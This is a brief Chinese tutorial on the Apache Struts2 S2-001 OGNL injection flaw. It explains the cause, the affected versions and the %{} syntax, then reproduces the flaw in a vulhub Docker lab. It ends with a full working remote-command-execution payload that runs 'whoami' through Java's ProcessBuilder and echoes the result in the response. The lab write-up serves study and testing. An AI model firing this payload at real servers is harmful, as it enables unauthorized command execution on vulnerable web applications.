一、漏洞原理
涉及软件: | Apache Struts2(java代码写的开发框架) |
涉及业务: | javaweb应用程序 |
爆发功能点: | Struts2标签处理功能altSyntax(此标签提供标签处理功能) |
涉及语言: | OGNL(对象图导航语言) |
注入点: | OGNL表达式注 |
爆发条件: | 1. Struts2中允许用户提交包含OGNL表达式字符串的表单数据; 2.若表单验证失败,服务器会将用户提交的OGNL表达式进行解析执行; |
漏洞别称 | Struts2标签解析代码实际上是在XWork中,故也称为XWork2漏洞 |
涉及版本 | Struts 2.0.0 - 2.0.8 WebWork 2.2.0 - 2.2.5 WebWork 2.1 (启用altSyntax) |
二、payload解析
" %{} ” 在OGNL表达式中经常出现,它提供了一个OGNL表达式运行环境,可以在%{}中填入需要运行的代码,例:
%{1+1}
%{#user.username}
三、漏洞复现(vulhub)
启动vulhub靶场 ,cd命令切换至 vulhub/Struts2/S2-001 目录下,使用以下命令拉取靶场镜像
docker-compose up -d
默认8080端口,访问靶机
在表单中输入,页面返回结果”2“,说明代码被解析。
%{1+1}
更换payload,代码运行成功,查询当前用户为root,漏洞验证成功
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}